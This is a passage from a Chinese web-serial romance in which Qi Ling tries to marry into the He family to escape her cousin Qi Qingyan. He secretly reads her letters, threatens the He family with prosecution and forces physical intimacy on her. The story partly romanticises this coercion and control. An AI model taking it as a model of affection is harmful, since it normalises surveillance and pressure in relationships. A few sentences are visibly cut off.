冯夫人起早出了院子,仔细看过祁泠要带去的东西,总怕衣裳不够穿,吃食和水备的不够多,其他物件准备的不够周全。 祁泠穿着厚厚的袄子,又加了狐裘,被冯夫人捂得像个毛团子,连她自己都觉得穿得厚了,但袄衣贴着暖乎乎的,心也滚烫。 她握着冯夫人的手,“母亲照顾好自己,不必担忧我,阿泠到外祖父家会给母亲写信。” “好、好……”祁泠从来没离开冯夫人太长时日,冯夫人满心不舍,但女儿长大了没办法。 她眼中湿润,忍着不哭,她一哭祁泠只怕更哭得伤心,这孩子命便够苦了。她道:“去吧,母亲不担心,等出城门,有人等着你。” 祁泠尚且不明白冯夫人的意思,便被冯夫人轻推了一把后背,进了马车内里。 有时遇不到歇脚的驿站,冯夫人准备周全,亲自挑了个祁家的马车,改了内里,皆铺绒毯,放软枕,方便祁泠休息。侧旁置了低矮木柜,抽屉里是各式各样的果脯点心,还有几壶方熬好的甜水,能放上几日。 祁泠从车窗探出头。 她往日不常出门举止端庄的母亲站在门前,抬起手来,同她挥别。 祁泠控制不住眼眶中的泪,随其滚下,探出肩膀,也同冯夫人挥了挥。 母亲啊,阿泠不在的日子,好好用膳,带着漪漪一起,不要感到孤寂。 直到马车转了个弯,再看不见站在小祁府前的冯夫人。 祁泠回过身,她按下银盘要给她擦眼泪的手,忍着心中想要打道回府的念头,趴在冯夫人准备的软枕上哭了一通。同时在心中将祁清宴骂了个狗血淋头,要不是他,她还能在家中多呆些时日。 等走到城门口,祁泠渐渐缓了过来,银盘倒了两碗甜水,主仆两个一人一碗慢慢喝了起来。马车却停下,坐在车辕上的仆妇朝内道:“娘子前面有一队人。” 马蹄踩在冻得发硬的地上,发出一连串又闷又响的声儿。祁泠掀开车帘,有一阵子没见到的何岫裹在长袍里,冬日穿得多也不少面上昳丽。 他对着讶然的祁泠拱手一礼,灿然一笑,“娘子,又见面了。” 何岫怎么会在这,没回到宣城去么? 祁泠脑子没转过弯来,“你——” “娘子可是想问,我为何会在这里,不是应当早早回了宣城去么?”何岫笑着道,一双眼中亮晶晶的。 祁泠点点头,想说正是如此,他已然贴心地解释起来:“母亲前几日吹风着了风寒,恐路上更严重,宣城那边祖父尚好,遂拖了几日再启程。” “二夫人怕娘子独行害怕,正好我与家母还未出发,便定下一日离建业。娘子要去淮陵,与宣城一个方向,我们可一起走上三四日,在永安城分开,届时娘子再走大半日就可到淮陵。” 是母亲的意思,祁泠眼帘一抬,目光远眺,何家的人与护送她去淮陵的人数差不多。 但她自己走,路上只她一个主子,遇到事都要自己决断,还要担忧出没的山匪,两家一同走就安全多了。 “娘子愿意否?给在下同行之机。” 何岫打断了祁泠的思绪,她回首只见郎君笑如灿霞,没什么不能答应的,其实是她占了人家的便宜。 她记得淮陵与宣城虽是一个方向,却不大顺路,若按照何岫这么说的走下去,他们回宣城的时日会更长。 祁泠颔首一礼,“那便劳烦何夫人和郎君了。” 何岫笑着说没什么麻烦的,驱马走远了。祁家二房的护卫首领走前得了冯夫人的令,知道情况也不惊奇。何岫重新分配了一番,两家的护卫在前、在后、在周围的皆有,比原来更妥帖。 等到午歇时,祁泠下了马车,带着几盒点心去拜访何母。 何母的马车上还有何家长子何岫兄长的儿子,瞧着年岁约莫有十岁,很是活泼好动,看见祁泠上来嚷着好看姐姐。 祁泠行礼问了夫人安,何母诶呦一声,拉着祁泠过来坐在旁边。 听祁泠说谢过捎她一路时,何母真诚笑了起来,“哪里要谢什么,两家能认识就是缘分,你不嫌我们粗鲁便好。瞧他那样,正愁没东西嚼嘴打发时候呢,你来的真好——” 何母的孙子开始吃祁泠带过去的糕点了,嘴甜夸着祁泠漂亮,糕点好吃。 何母对祁泠的态度一如既往,仿若两家议亲又不成的事全然没发生过。祁泠因此平和不少,笑着说:“阿泠那里还有许多,都是母亲带的,怎么也吃不完的,正好一同吃。” 怪不得冯夫人带了那么多,原来早想到这处了。 祁泠没有亲母,不懂事时总是偷偷难过,但如今也释然了,冯夫人对她,已经做了亲生母亲能做的一切。 父母之爱子,则为之计深远。 冯夫人想到的不止于此。 一路避嫌,祁泠没与何岫长久相处,两人只是碰见时叙两句话。但祁泠总是带着银盘去找何夫人,走了三日,同何夫人的关系近了许多。 何夫人也会主动喊祁泠阿泠,前方便是永安城,两家寻了官驿住下。 祁泠与银盘下楼用膳,遇到等待许久的何岫,他迎上前问:“娘子打算何时走?” 祁泠浑身疲惫,上次二房一家从江州回建业,她陪着冯夫人,因着冯夫人身体不好,一路上走走停停,几乎走一天在驿站歇一天。 这回却是日夜不停赶路,好不容易遇到官驿,她打算歇歇,以为何岫这般问是他们急着回宣城老家,于是歉意笑了笑:“我太累了,打算歇一晚,明早再去淮陵,你祖父的事着急,你们先走吧。” “不是,”何岫道:“母亲也劳累,我想着让母亲留下歇两日,我闲着也是闲着,不如送三娘子去淮陵?” “这……”知道对方是好意,但祁泠上次因为相信祁清宴,由着他帮,最后险些把自己搭进去。 祁泠也有几分学聪明或者更警醒了,察觉何岫怕是对两人的婚事没彻底死心,他们是急着回老宅的,何母看起来精神不错,没有要留下的意思。 “不必了郎君,”她婉拒,“这一路已劳烦夫人和郎君许多,且去淮陵的路为官路,比我们来时走的山路好走,郎君不如陪着何夫人在驿站一同歇歇。” 何岫欲言又止,后面有人喊云濡,祁泠与何岫一同回头,看见何母站在不远处。 看见两人,何母笑道:“云濡,你去外面寻些热食来,我与阿泠说几句话。” 何岫应是,利索地转身去了。祁泠习惯与何母相处,也自然随着何母进了房内,可看何母指使下人把孙子叫出去,她便觉得奇怪了。 “阿泠,你是个好孩子,一路上对我们祖孙两人的照拂我看在眼中。”何母道:“也不怪二夫人如此喜爱你,为你考虑周全。” “母亲……?” 祁泠知道和何家一起走是冯夫人的意思,但何母话意中显然不仅于此。 何母让祁泠在榻边安稳坐下,才道:“咱们两家的婚事没成,我与你母亲皆舍不得,虽可惜,也只能就此作罢。因着云濡是我偏疼的幼子,你也是二夫人捧在手心的女儿,谁都受不了自己的孩儿受苦。” “二夫人几日来寻我,给我你的生辰八字,母亲只为孩子好,说实话,与祁家联姻是我儿高娶,但我心底里有点膈应批语,我又派人去寻算了几次,好坏皆有,多了也不作数了。云濡的心意你看到了,我做母亲只盼佳儿佳妇。你母亲的意思也同意,如今看你的意思,阿泠。” “只是云濡祖父不知能挺多久,婚期赶,须在年关前。若阿泠愿意,就随我去宣城小住一段再去淮陵,不愿也两家没缘分,女儿家的安全重要,让云濡护送你到淮陵去。” 原来这是冯夫人的打算。冯夫人不想她随便嫁出去,思来想去,在她不知时去了何家。母亲虽不知她为何突然要嫁出去,但尊重她的想法,并且尽力为她选一个最好的出路。 祁泠不停点头,任由酸涩的泪流进口中。 她愿意嫁,比何家还不好的人家她也愿意嫁了。只有嫁了人才能绝了祁清宴的心,想来以他清高傲然,不会染指有妇之夫。 她绝不要东窗事发时,收养她的冯夫人被祁家众人指责。 何母是有点真心喜欢祁泠的,温婉恭顺,样貌极好又不逞强好胜,与她的儿子看来像是一对,她欣然道:“那好,我等会写一封书信送到建业,告知你母亲此事,她也高兴的。只是女儿家的婚事如此,是有些仓促,阿泠有何要求吗,我和云濡会尽力去做。” “……有,阿泠有两求。” 何母递给祁泠擦泪的帕子,耐心听她说。 祁泠一眨眼,两滴泪落下,“一是婚期尽早,最好在五日内就能成婚。” 何母一惊,正常嫁娶哪里有这么急的,她道:“阿泠,婚期早些倒是可以,从前议亲时聘礼都是准备周全的,可你要回建业去,一来一回怎么也五日多了啊。” “夫人,二便是——” 她被泪洗过的眸子清澈,头脑清醒,声音冷静到她自己都惊讶,“我稍后写信送与母亲,我从淮陵冯家出嫁,如此……便来得及了。” 五日,于她而言,把自己嫁出去,足矣。 五日,于他而言,不够。他赶不回来,等他知晓时,她已嫁了人。 第42章 第四十二章【VIP】 闻言,何母神色惊讶,但很快又恢复如常,儿子能早些娶媳妇自然是好。 只祁泠毕竟是个娘子,婚姻大事做不得主,在心中琢磨一番后,她沉吟:“……也好,那我将婚期写在书信中,正好此处是官驿,可八里加急送回建业。我们暂且在永安等,你母亲一回信,就把婚事准备起来。” “好。”祁泠应下。 她有父母,不是无名无姓的娘子,即使她着急,也要送信回去询过双亲的意思。 但母亲会应允的。 祁泠知道,冯夫人会同意她的要求,即使不知她的缘由苦衷。 她的苦衷也说不出口,只盼着能尽早熬到尘埃落定时,将在建业祁家发生的事深埋起来才好。 儿子的亲事有了着落,何母便有许多事要忙,又说了几句话,祁泠就从何母房中出来。 屋里有暖炉,暖盈盈的,祁泠方才全神贯注着不觉,一出来吹了凉风,浑身上下都是汗津津黏腻的,提不起来力气,一时冷的有些畏缩。 明明大事几乎要落定,她的心却悬在嗓子眼,整个胸膛空荡荡的,毫无着落。 “三娘子。”何岫提着纸包,走上二楼来。 银盘守在门口,此刻看了眼何岫,忙站到祁泠身边,紧紧贴着她。这小丫头也怕了,如今只要有外男,一定要黏在祁泠身边。 何岫脚步变快,走到两人身旁,将纸包递过去,“三娘子,附近没什么卖吃食的地方,只有一户茶肆里的胡饼味道还好,我尝了尝,比官驿的好吃些,上面是素瓜馅,下面是肉和果仁混的馅,娘子都尝尝。” 银盘瞧了眼祁泠,见她家娘子没什么反应,便打算抬手去拿。 一路上她们都吃何家送来的热食,到了驿站也有后厨,只是东西太难吃,太寡淡了,她都咽不下去,又何况娘子。 油纸包上的系绳却被另一只手接过。 见此,诧异的不只是银盘,还有被祁泠一直避着的何岫,两人一起看向祁泠。 祁泠拿着纸包,却神色如常,道:“多谢郎君,我回去和银盘一起吃。明日或者后日便劳烦郎君送我到淮陵了。” 何岫愣住,以为是母亲也想着路上不安全,劝了祁泠。他笑起来,道:“无碍,云濡乐意之至。” 祁泠侧身一礼。 等回到屋中,她坐在桌旁,与银盘道:“银盘,你去楼下寻些笔墨还有纸张来,我要写信送到建业去……多拿些。” 看祁泠神情有些严肃,银盘手脚麻利地下楼取了一摞子纸,站在门口,她问:“娘子要给夫人写信呀,这么多够不够?” 当然是够的。 银盘手上捧着两本书那般厚的纸,祁泠紧绷着的心一松,有些苦笑不得,笑着点头:“够了够了。” 可看着银盘,她又想起,不光是她自己离家,还要连累银盘与亲人分离。 她从建业出发前尚有几分准备,知道或许离开建业,她就要尽快找法子嫁出去。 但银盘不知道,她的姐姐还有爹娘仍在建业。 祁泠让银盘坐过来:“银盘,我与你说件事,你不要吃惊……约莫五日后,我会与何岫成婚。从今个起,我们就住在这儿,等收到建业送来的回信,立刻启程去淮陵,稍落脚便嫁去宣城。再然后……怕是要久居那里了。” 银盘的脑瓜懵着,转不过来,但下意识答:“我肯定是要与娘子在一起的……只是娘子怎么一下子就要嫁出去了……” 她对父母倒还好,离开家到祁府陪着祁泠时,她只有四五岁,还不记得事,与父母感情不深。 可…… 虽然她与玉盘总是吵架,姐妹关系却实好的。她语气蔫蔫,被突如其来的分别弄得有些伤心,“那……那娘子还会回建业,我还能看到姐姐吗?” “可以,”祁泠攥着银盘的手,承诺道:“我……恐怕一时半会儿回不去。但银盘,你可以回去。” “等到这边事情一了,婚事一成,我派人送你回建业去,你看看姐姐和父母,若不想回来……便留在建业吧。” 她自己留在宣城也可。 “不,我要与娘子一同回去。”银盘倔强道。 祁泠心头盈有暖意,不再感觉冷,婚事匆忙,但起码有银盘陪在她身旁,也不算最糟。 ,趁热吃,我写完书信便来。” 银盘饿的肚子咕咕叫,听话拿着油纸包走到一旁,坐在小凳上委屈巴巴地啃起胡饼来。虽然难过,但要先填饱肚子才有力气去想那些。 而祁泠坐在桌前,提笔思量着如何给冯夫人写信。离开建业前,她已经说过不想婚事再生出波澜,想要嫁人。 她提笔,最前面,只求母亲应允婚期,短短几行就书尽了。 最后却絮絮叨叨写了满满三页纸,后面皆是对冯夫人的关切。 写好一封,她又给祁观复写了一封,用了半页便写完,全是何家事,让父亲先不要透出风声去。 想起祁雪峤,祁泠略一犹豫,也写了一封与他,说了婚事,让他也帮忙保密。 全都写过,祁泠犹豫要不要写书信给祖母。 写的话,总觉信一到祁府,,随后禀报于他。 但她想写,毕大半年,祖母也对她照顾良多,婚姻大事还是告知一声才好。 只是写给祖母的书信要慢慢送,不必加急。最好等到她嫁了人,给祖母的信还送到祁府才好。 断断续续写了四封信。 全部写完,祁泠抬起酸痛的脖子,日影渐移,已过去将近两个时辰。 银盘等了太久,挪了位置,已坐在床榻边靠着木架子睡熟了。 祁泠没叫醒她,自己下楼去送书信给驿使,她看着驿使依次装起信,又滴热蜡密封好。 她送与祖母的信单独放在一处,迟上两日再送。 何母给冯夫人的书信也一齐送了出去。 祁泠暂且在这家官驿站住下,想着,送去建业的书信应当明日一早送到。祁观复和冯夫人看过信后,商议一番,写下回复,加急寄出来,她约莫着会在明日晚间收到。 翌日,从午后等到晚上,等了许久,直到月明星稀,祁泠靠在窗边,望着远处的官路,没有踪影,人的身影和马的影子都没有。 她几乎一整晚没睡,整颗心提着,免不得胡思乱想。 难道父亲母亲不允她嫁这么早? 或者路不好走? …… 路确实不好走。 百里之外,这几日忽刮起狂风来,再裹挟着冰碴雪粒,刮得人脸颊生疼。 远远似有野兽接近帐子,守着的护卫一惊,定眼细细看去,原是披着兽皮的小孩。 兽皮裹着的身影虽小,腿脚倒腾的极快。 急得嘴上冒了几个泡的沉弦怀中抱着一个大布袋子,走到帐前,手忙脚乱勉强挪出一根手指了指挂着的腰牌。 护卫看过,他才进到帐中。 沉弦年龄小,极容易打探到消息,他在祁府听到些风声,不敢多留,忙着找个由头又溜了出来。 走到帐门外,听里沉沉的笑一声。 沉弦一捂耳*朵,立马跑走。 俄顷,帐中走出一郎君,去马厩牵出一匹漆黑骏马,翻身上马,抓紧鞍绳,用力一蹬。 如离弦之箭,不过几瞬,人与马一齐没入风雪中。 永安城,官驿中。 已是将信送出的第三日,在此候着的何家和祁泠都没收到回信。 祁泠不能擅自成婚,那是没有父母之命的婚事,以后何家会对她无敬,她不能莽撞,只能干着急。 又担忧,莫不是被他知道了? 可是自祁清宴离开建业家中已有将近十日,不知走出多远去,怎么会这么快知晓,而且,知道他也赶不回来。 祁泠只能反复安慰自己。 银盘引着官驿的粗使婆子搬进来两大桶热水,放在净室。她喊着在窗下沉思的娘子,“娘子快来沐浴吧,时辰不早了。” 她又催了一声,祁泠才听到,起身去了净室。 内里热气腾腾,恍若烟雾缭然,银盘舀着水,慢慢淋在祁泠背上。 目光往下,她突然发现祁泠身上比寻常红,用手一探,才发现是水太热了,银盘惊到:“水烫手呢,娘子怎么不说,奴婢这便去给娘子搬点凉水来。” 祁泠神思恍惚,压根没注意到水热,她正想着,要不然明日干脆先去淮陵? 等一收到信就出嫁去宣城,省下等着回信的功夫……似乎也行得通。 她全部心神在上面,回过神也觉有点烫,让银盘去取水,她则继续想着去淮陵的事。 银盘去了许久没回来,水都凉了。 祁泠沐浴过后起身,旁边搭着的巾帕不够用,她披散着湿润的青丝,披着半湿寝衣,踩着绣鞋,湿漉漉走出去。 内室昏暗,只四角点着几盏烛灯,侧望去,床帐内里似乎坐着人影。 祁泠轻声问:“银盘,是你吗?” 没人回答。 虽是官驿,附近几个院落都住满了,容易混进来人。祁泠悄悄走几步,拿起离她最近的烛台。 这一刻,她的心跳得飞快,手也发抖,两只手叠着握住烛台架子,朝床帐走去,轻声唤着,“银盘?” 心中隐隐有个念头,祁泠不敢去想,只把那糟糕至极的想法尽快脑子里抹去。 走到近处,抬起的烛光一晃,显露出熟悉的男子面容。 “不是旁人,”祁清宴抬眼看她,平静道:“是我。” 第43章 第四十三章【VIP】 “咣当——” 烛台砸落于地,其上火焰瞬间湮灭,两人所处之地重归昏暗,滚热的烛油四溅于地,几个呼吸的功夫便凝固成星点。 祁清宴起身,拿出火折子,轻轻一吹就有火光亮起,置于烛灯上,屋内忽地亮堂了。 他不复离开建业前的白皙,几日奔波在面上留了疲惫痕迹,熬得眼中有血丝。瘦了些,五官更加分明锐利,黑沉沉的眸色凝结,隐有流动的暗光,格外慑人。 祁泠脸色发白,一动不动站在原地。 祁清宴垂眸望去,烛油溅落到她的衣裙,毁了一件她从建业带回来的衣裙。他走上前,牵住那只纤长漂亮的手,只觉掌心凉滑。 将人揽进怀中,温香满怀,又有几分潮气,缓了他身心疲惫。 不顾怀中人的僵硬,他手轻轻抚在她后背,不尽亲昵道:“我从东南边赶来,这几日下着大雪,路难走。永安这几日落雪了吗?” “……没有。”祁泠喉间挤出干哑两字。 清冽的气息铺落而下,已经熟悉的动作。祁泠一扭头,刚好避开,微凉的唇瓣印在她脸侧,靠近脖颈的位置。 维持这个姿势,两人皆未动。 “怎么?”祁清宴抬手,指腹擦过她的润泽粉嫩的唇,按了按,力道不轻不重,笑着:“不再与我亲近了?因为嫁的人不是我?” 果不其然,他知道了。 祁泠猛地挣开环住她的臂膀。 祁清宴也没用力,静静看着她站在离他三步开外的位置,用满是怒意的目光对着他。 祁泠再也忍不住,再也不想再与祁清宴虚与委蛇了。 事到如今,也确实不必了。 她在他面前装作乖顺、假意答应他无理的要求来拖延时间也无用了。他能赶来这里就是已经知晓全部。 方才他说的话也刺耳。 祁泠不是一点脾气都没有的娘子,近来被他欺压和积攒的火气翻涌之上,咬牙道:“对,因为我要嫁人,嫁去别的人家。所以我不会再与你亲近,不会再容忍你过界的举止。现下,从我房中出去!” 祁清宴的脸色沉下来,唇紧紧抿成一条直线,眸若寒冰,凌厉逼人。 祁泠也不服输,因生气而眼眸透彻发亮,袖中双手紧握,脊背挺得直直的,没有一丝要服输的模样。 反正最坏的结果是被他困在身边,那她为何还要假意迎合他? 案桌灯罩中的烛火跳跃,暗时他的面容藏匿其中,亮时映衬出他晦涩不清的神情。 良久,他开口,打破室内喘不过气的静谧,“……你当真要说这些话来气我?” 是质问,但语气已有几分缓和意。 一切都被知道了,祁泠才不会再过从前担惊受怕的日子,干脆破罐子破摔,语气冷然,“不是气你,是我真心所想,无人逼迫我。” “何家?你要嫁何家。那好,”祁清宴道:“何岫品行不端,对上不敬,应是牢狱之罪。何父十几年前伙同同僚眛下——” “够了!”祁泠打断他,泪悄无声息地滚下来,满心无奈。当初何岫找上门来,她便是因不想牵连何家而拒了。 这回答应也是趁着祁清宴不在,等到他回来婚事已成,他没有从中作梗的余地,这才应下。 “不要再说了……我不嫁了。”她啜泣的口中溢出一句话,反复说了几次。 她很委屈。 “我想不明白,阿泠。”祁清宴当真百思不得其解,他已经想出娶她的法子,她竟还一心着了魔似的要嫁去何家? 不光出身寒门,何岫兄长平庸,他也无甚长处,来日无坦途。 祁清宴眉头紧锁,双眸直望着祁泠,“留在建业不好么?何家有什么好的,又或者说何岫又什么好的,毁了的亲事你偏要续上,急匆匆嫁去偏远荒凉之地。” “因为他们会问我愿不愿意,而你,从来不顾我是否心甘情愿。”祁泠一字一句,哽咽道。 祁清宴先是一怔,没想到是如此缘由,旋即接着道:“好,那我问你,若是我——” “我不愿意。”他话还没说完,祁泠便干脆利落地拒绝,语毕将头扭到一旁,再不看他。 大抵是被她气得太过,祁清宴舌尖紧抵上颚,压住许多脱口而出的难听威胁话语,他克制良久,忽而一松力,笑出来,从唇齿缝中挤出话来,“旁人问你,你应允,我问你就是不愿意。你要我怎样,难道我要亲眼看着你嫁与旁人吗?” 祁泠不语,同他说话也累,他这般的人,未尝过挫折的苦,只打,何尝顾忌过旁人想法? ,好,那我给你选的机会。” 祁泠转过头去,要是他让她在嫁何家和回建业中选一个,她定然没有一丝犹豫,立刻选择去何家。 可惜祁清宴并无成人之美的良善。 ,回建业你我成亲,二我们仍在一处,由你想出在一块的法子,”祁清宴加重语气道:“我听你的。” 祁泠咬紧牙关,迟迟不语。 只觉祁清宴真是可恶至极,明明是他的过错,他却堂而皇之地越界。他当然无所谓,对女子多苛刻,以两人的身份,被戳破大多数人只会觉得是她勾引了他。 他能想出娶她的法子,情深意切否?那是她坚决不愿做外室,再之后,他才提出来的。 看待。 她不要假借别人的身份。 她是祁泠,只是祁泠。 被逼到如此境地,祁泠也想着如何是解决才好。求死念头在她脑海中一闪而过,便再无踪影,还有许多心中牵挂她的人,她不会一死了之,让讨厌她的人如意。 祁泠思索后,清晰道:“此后,我们的事不能被祁府众人知晓,任何一人都不能。我留在府中,你不能让我去琅玕院寻你,也不能府中私会。等你另有所喜或是娶亲,我们一拍两散。在那之后,你不许再干涉我的事,婚嫁与你无关。” 他要娶,她不愿意。 难道他还要求着她应允不成?好好的光明正大的、能嫁进祁家做主母的路她不走,偏视他如累赘,等着有朝一日甩掉他。 祁清宴强压怒意,连道几声好字。 第44章 第四十四章【VIP】 两人僵持片刻,祁泠想起久久未归的银盘,问:“银盘去了何处?” “给她另寻了住处。”他冷道。 祁泠向榻边走,“我要安寝了,你快些走吧。” 祁清宴呼吸沉了沉,接二连三被她态度气到,已然脑子发晕,以前未曾有过的感受,一时只觉情思害人至深。 可又不愿真的同她分开,那般她会乐得不行,只剩他漫长岁月中煎熬后悔。 他绝不会后悔,不会放她走。 想清后,他倏然上前,长臂一揽,另只空闲的手扶着她脖颈。 祁泠张口欲言,可祁清宴即使不听,也知晓,那檀口之中定会吐露让他怒意更甚的话语。 如此,不如不说。 遂发狠含住她的唇瓣。手轻捏她后颈,祁泠果然仰头,祁清宴顺利撬开牙关,长驱直入,掠夺她的呼吸。 嫉妒与怒火皆宣泄在唇齿的缠磨之中,她为何偏不想嫁他?要是他真的一时疏忽没注意到此事,她真的要嫁人? 他太过用力,祁泠宛如岸上的鱼,无法呼吸,狠咬了他舌尖一口,唇齿问弥漫开丝丝血腥味。 祁清宴停顿一瞬,随后耐着性子一点点吮吸啃咬,忽而柔和起来,祁泠最受不得他温柔时,渐无力反抗。 若有若无得吞咽声响起,从未有过的纠缠,祁泠才知晓往日他的吻只是浅尝辄止,她浑身无力,被按着肩膀往后,落入床榻中。 祁清宴覆在她身上,稍抬头,鼻尖微微错开,气息缠绕。 祁泠侧过头,深呼吸几口,平复过快的心跳,觉得结束了。 往日到这步就结束了,可他又俯身,唇落在她脖颈处,和方才同样力道的吻,向下亲去,吻一下又一下游移。 一只大手从衣襟探入,冬日寝衣也单薄,扯拽几下前襟就松垮开来,几乎挡不住春色。 祁泠方意识到今晚与之前不同,他手触及小衣带子,又扯开。 胸前一凉,她含着哭音,颤着声儿,“不要。” 祁清宴不再动,又沉又重的呼吸落在她颈边。 良久,低哑的声音问她:“为何?” “我怕。”祁泠抽噎道,长睫挂着细碎的泪。她真的怕,怕在他面前赤身裸体,毫无尊严。 “成婚皆会如此,夫妻敦伦才有子嗣……若是旁人,你会怕吗?”祁清宴最后问。 他自己觉得问的龌龊,可又忍不住去想,她真正嫁于旁人,洞房花烛的模样,他无可奈何,只是将自己气得晕沉。 祁泠抬头看他,不停点头,眼尾微红,唇红肿润泽,眸色潋滟比寻常多了丝媚色,其问泪滑落鬓角之中,让人心中生怜。 好吧。他输了。 即使气她有另嫁之念,到想要不管不顾要了她,让她歇了那些心思。 可也没法继续。 祁清宴亲了亲她鬓角,含走那滴泪,两只手环在她脖后,将方才解开的小衣带耐心系好,声音温和多了,“睡吧,阿泠。” 祁泠立刻闭上眼,只是仍不停抽噎。 祁清宴望她一会儿,才起身去了净室。浑身浸在已经彻底凉透的水,她方才沐浴用过的水中。 待他归来时,架子床内里安静。 祁泠已止住哭音,背着身,蜷缩着侧卧在内里,只是呼吸不稳,明显还未睡着。 被圈进怀中,她身子僵了一瞬,察觉到身旁人身上的凉气,诧异却一动不动。 相拥而眠,恐一夜无眠。 …… 晨问曦光微落,官驿不比自家,起早一楼堂子便有嘈杂的说话声,过往歇脚的人多,来来往往的脚步声吵人。 曦光愈浓,木制略有腐朽的门扉被人轻轻敲响。 内里无人应答,何岫才开口,声量比寻常高些,“三娘子、娘子可醒了?” 祁泠往日起得都早,会同她的侍女银盘一起下楼用膳。 今日何岫却一直没见到人,银盘也不在,而祁泠的屋子一直安静。 祁泠闻声才缓缓睁眼,映入眼帘是已住了几日的简单架子床顶,前几日醒来时会觉有冷意,手脚皆凉,但今日没有。 周围布着熟悉的冷香气,祁泠稍侧过头,见祁清宴支额望她,不知已经醒了多久。 因着有他在身边,祁泠昨晚双眼紧闭,许久未能安眠,最后眼缝中瞄见亮起的天色,又过去一会儿才真的睡去。 见她醒了,眸中尚存几分迷茫,睡颜娇憨,祁清宴轻声道,“阿泠,外面有人寻你呢。” 何岫在外等了一阵儿,问了几声内里混杂,不由得担忧起祁泠安危,声音拔高,“ “我在,支着身子坐起,不顾旁侧人的神情,开口道:“我还未梳洗,不便开门, “无事,”何岫叩门的手缓缓落下,听见内里了沙哑和软糯,猜到祁泠还未起。 想到之后,脸上微红,他往后退了步,道市上买了些新蒸的髓饼,再不用就要凉得吃不了了。” 话语从门缝传进,不光一字不落地进了祁泠耳中,祁清宴也全听到了。 他也起身,贴近祁泠,似笑非笑地问:“你不嫁了。是自己与他说,还是我立刻出门同他说清?” 他的声音并不大,可祁泠离得近,加上满心紧张,一回头伸手捂住他的嘴。 若是他现下便出门同何岫说,那岂不是光明正大地告诉何岫,两人之问有问题? 女娘面含薄怒,急得两颊浮红,低声责道:“别说话。” 微凉的掌下,唇却干燥而温热,微勾起弧度,唇边缘在她手心轻划而过,传来的战栗从手心荡开,祁泠心里一颤,被烫到似的,一把收回了手。 内里久久又无声音,何岫满心疑窦,又唤了一声娘子。 祁清宴得偿所愿一半,颇有些散漫地倚着床架,在等着祁泠解释。 “……多谢郎君,我无碍,过会儿便出门。”祁泠压下满腹气,尽量将声音放得冷静,与寻常一致。 何岫答应下来,脚步声渐渐远了,再听不见。祁泠转头与祁清宴道:“你当真不怕被人知晓吗?” 祁清宴不可置否,起身下榻,祁泠别开眼不看,头朝内里。 他披上衣衫,系着衣带,道:“他不会贸然进来,我既答应了你,便不会让人知晓。重要的是,你要尽快与他说清。” 祁泠只穿着小衣,一时不与他辩驳,等着他转身的问隙,手快扯过旁边中衣,迅速把自己裹住。 再一瞟祁清宴,他正整理衣衫,她想起又忙道:“外面人多,你先不要出去。” 祁清宴冷冷笑一声,道:“你当真思虑周全。”他倒是成了见不得人的。 祁泠才不管他乐不乐意,不高兴才好,早些厌烦了如此不可言说的关系更好。 门又被叩了叩,这回力道极小,还没风吹过来带来门扉的响动大。 伴着进来的声音也比蚊子大不了多少,“娘子……娘子……” 是偷偷在一楼看着的银盘。她见何岫在门口站了会儿,说了几句话才走,知道里面的人醒了,才悄悄过来。 若是祁泠没醒都听不到,她穿好衣裙鞋袜,去开了门。 银盘在别的房里凑合了一晚,还是昨晚的衣裙,紧张兮兮地盯着祁泠,见她没事放下心,余光瞥见后面男子一角,又忙垂下视线。 “娘子,我去给你打水。” 祁泠点头,想起身后的祁清宴,又同银盘道:“多带些热水。” 毕竟里面还有一个大活人呢,银盘知道。 她端着盥洗的用具进来,服侍着祁泠洗漱,不一会儿,两人就出了门。 官驿院中站着许多人,内里有个矮些的半大小子,穿着一身青色棉袍,在人群中窜来窜去。 祁泠一眼瞧见了,心念一动,脚下步子加快,过去逮住了人。 正是本应在建业祁家的沉弦。 沉弦最近吃了不少苦,在建业风吹不着雨淋不到,顿顿吃得饱饱的。自从祁清宴和祁泠离开建业,他过得就是担惊受怕的日子,一路风尘仆仆,一顿饱饭都没上。 他确实干了坏事,此刻见到苦主祁泠,犹如病耗子见了猫,蔫巴巴的,想跑也跑不掉。 他这副的神情完全落入祁泠眼中,她心中已有些猜测,但还是先问:“你怎么来了?” 银盘跟着祁泠,双手叉腰,以一种非常不友善的目光盯着沉弦。 沉弦慢吞吞,犹豫过后还是如实说了,“娘子,我负责郎君的信件,来给郎君送信的……” “好呀,”银盘听明白了,上前揪住沉弦耳朵,“我们娘子写的信,全被你通风报信给了三郎君,他才能找到我们是不是?” 祁泠也如此怀疑。 但她到如今还纳闷,明明祁清宴是赶不回来,怎么走了将近十日,结果能两日就赶到永安城来。 “是我,也不是我……”沉弦委屈又不敢委屈,眼里的泪花儿打转。 祁泠一直对他好,可他是郎君的人,是郎君将他带回府中,否则,他被好赌爹卖到风月所里,早被折磨得死掉了。 “就是你坏事。”银盘见沉弦可怜要哭的样子,松手,冷哼一声,不看他。 祁泠道:“沉弦,你说吧。让我知晓是怎么回事?你听的是他的话,我不怪你的。” 她家娘子就是太善良了,才会被欺负。银盘又瞪了沉弦一眼,哼哼两声。 沉弦心里愧疚,一只手捂着红红的耳朵,银盘为了给祁泠出气是用了真力气的。 他丧着头道:“送到祁府的信,无论是给哪房的,其实都会先到琅玕院。信鸽听我的话,我也能仿各种样式的印章,先看过一遍,再送出去……” 祁泠听得神色不大好,未想到他竟在祁家这般只手遮天。那岂不是——她写回去的书信,全都袒露在他眼皮子底下。 她道:“他知道,为何会这么快赶过来?” 这与沉弦无关了,他将事情猜了个大概,感觉三娘子是有点倒霉,离得要是太远,再快的马也是赶不回来的。 沉弦道:“是燕郎君,他在赴任路上旧疾犯了,正在新城休养。郎君也一直在新城,一听到娘子要去淮陵的消息,郎君便往回走了。听贡承哥哥说,是打算接了娘子,送娘子到淮陵,他再去新城寻燕郎君的。” “可没想到……听到娘子要成亲,郎君直接来了永安。” 沉弦说完,见祁泠面上没了表情,整个人愣愣的,不免担心,弱弱唤了声,“娘子?” “无事。我没事。”祁泠转过头去,心里不免荒凉些。这便意味着,从她出建业的一刻起,无论嫁何家还是到淮陵,她都躲不开他。 她筹算比不过他,心思也没他多。 罢了。祁泠转头,几里外似乎落了雪,连忙不断的砖瓦上覆着白皑色,低矮的房屋后隐约见到起伏的山脉。 起码她离开建业一趟,尝试过另寻出路。 “三娘子,今日怎么心情不大好?”祁泠转过头,见是何岫,他笑着走过来,两只手背后,遮掩着何物。 祁泠当下打算与何岫说清。 内心里对何家有歉意,是她失约,如拼命抓住救命稻草,她想要抓住何家,最后却险些连累他们。 她摇了摇头,想要退婚的话含在嗓中,在想着该如何同何岫说这件事。 